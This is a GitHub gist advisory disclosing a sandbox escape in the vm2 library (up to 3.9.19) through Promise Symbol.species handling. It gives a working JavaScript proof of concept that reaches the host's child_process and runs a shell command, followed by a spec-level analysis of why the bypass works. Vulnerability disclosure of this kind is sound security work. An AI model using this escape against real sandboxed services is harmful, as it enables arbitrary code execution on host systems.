Skip to content

Instantly share code, notes, and snippets.

@leesh3288
Last active May 20, 2024 01:14
Show Gist options
  • Save leesh3288/f693061e6523c97274ad5298eb2c74e9 to your computer and use it in GitHub Desktop.
Save leesh3288/f693061e6523c97274ad5298eb2c74e9 to your computer and use it in GitHub Desktop.
Sandbox Escape in vm2@3.9.19 via `Promise[@@species]`

Sandbox Escape in vm2@3.9.19 via Promise[@@species]

Summary

In vm2 for versions up to 3.9.19, Promise handler sanitization can be bypassed with @@species accessor property allowing attackers to escape the sandbox and run arbitrary code.

Proof of Concept

const {VM} = require("vm2");
const vm = new VM();

const code = `
async function fn() {
    (function stack() {
        new Error().stack;
        stack();
    })();
}
p = fn();
p.constructor = {
    [Symbol.species]: class FakePromise {
        constructor(executor) {
            executor(
                (x) => x,
                (err) => { return err.constructor.constructor('return process')().mainModule.require('child_process').execSync('touch pwned'); }
            )
        }
    }
};
p.then();
`;

console.log(vm.run(code));

Analysis

As host exceptions in async context (Promise) may leak host objects into the sandbox, Promise.prototype.then is overridden with a Proxy to sanitize arguments before calling user-provided onRejected handler (commit f3db4de).

ES2022 spec for 27.2.5.4 Promise.prototype.then specifies the following steps concerning @@species (Symbol.species):

3. Let C be ? SpeciesConstructor(promise, %Promise%).
4. Let resultCapability be ? NewPromiseCapability(C).
5. Return PerformPromiseThen(promise, onFulfilled, onRejected, resultCapability).

27.2.1.5 NewPromiseCapability ( C ) allows a new constructor defined as the value of @@species accessor property to be used, where a single argument executor is passed to the constructor. executor is a closure that receives two handlers resolve, reject and sets each of the values to resultCapability.[[Resolve]] and resultCapability.[[Reject]].

This is used in 27.2.5.4.1 PerformPromiseThen, where steps below define promise.[[PromiseState]] rejected case:

8. Let rejectReaction be the PromiseReaction { [[Capability]]: resultCapability, [[Type]]: Reject, [[Handler]]: onRejectedJobCallback }.
9. If promise.[[PromiseState]] is pending, then ...
10. Else if promise.[[PromiseState]] is fulfilled, then ...
11. Else,
    a. Assert: The value of promise.[[PromiseState]] is rejected.
    b. Let reason be promise.[[PromiseResult]].
    c. If promise.[[PromiseIsHandled]] is false, perform HostPromiseRejectionTracker(promise, "handle").
    d. Let rejectJob be NewPromiseReactionJob(rejectReaction, reason).
    e. Perform HostEnqueuePromiseJob(rejectJob.[[Job]], rejectJob.[[Realm]]).

27.2.2.1 NewPromiseReactionJob ( reaction, argument ) specifies the following steps, emphasis wrapped in double asterisks (**):

1. Let job be a new Job Abstract Closure with no parameters that captures reaction and argument and performs the following steps when called:
    a. Let promiseCapability be reaction.[[Capability]].
    b. Let type be reaction.[[Type]].
    c. Let handler be reaction.[[Handler]].
    d. **If handler is empty, then**
        i. If type is Fulfill, let handlerResult be NormalCompletion(argument).
        ii. Else,
            1. Assert: type is Reject.
            2. **Let handlerResult be ThrowCompletion(argument).**
    e. Else, let handlerResult be Completion(HostCallJobCallback(handler, undefined, « argument »)).
    f. If promiseCapability is undefined, then
        i. Assert: handlerResult is not an abrupt completion.
        ii. Return empty.
    g. Assert: promiseCapability is a PromiseCapability Record.
    h. **If handlerResult is an abrupt completion, then**
        i. **Return ? Call(promiseCapability.[[Reject]], undefined, « handlerResult.[[Value]] »).**
    i. Else,
        i. Return ? Call(promiseCapability.[[Resolve]], undefined, « handlerResult.[[Value]] »).

Thus, we can abuse this and leak host object into the sandbox with the following steps:

  1. Call an asynchronous function that throws a host exception, returning a (rejected) Promise object.
  2. Overwrite the Promise object's constructor with an object defining Symbol.species property, where value is:
    1. Constructor receiving executor closure and calling it with resolve and (malicious) reject handler
  3. Call then() method of the Promise object with onRejected handler undefined.

Note that the absence (emptyness) of onRejected handler is not a necessary condition for exploitation. Assuming that this is not empty, let us revisit NewPromiseReactionJob:

1. Let job be a new Job Abstract Closure with no parameters that captures reaction and argument and performs the following steps when called:
    ...
    d. If handler is empty, then
        ...
    e. **Else, let handlerResult be Completion(HostCallJobCallback(handler, undefined, « argument »)).**
    ...
    g. Assert: promiseCapability is a PromiseCapability Record.
    h. **If handlerResult is an abrupt completion, then**
        i. **Return ? Call(promiseCapability.[[Reject]], undefined, « handlerResult.[[Value]] »).**
    i. Else,
        i. Return ? Call(promiseCapability.[[Resolve]], undefined, « handlerResult.[[Value]] »).

Thus if attacker provides an onRejected handler that throws host exception, calling this handler in step 1.e will throw and return an abrupt completion handlerResult with handlerResult.[[Value]] set to the host exception leaking into promiseCapability.[[Reject]] provided by the attacker-controlled @@species constructor.

Impact

Remote Code Execution, assuming the attacker has arbitrary code execution primitive inside the context of vm2 sandbox.

Reference

Credits

Xion (SeungHyun Lee) of KAIST Hacking Lab

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment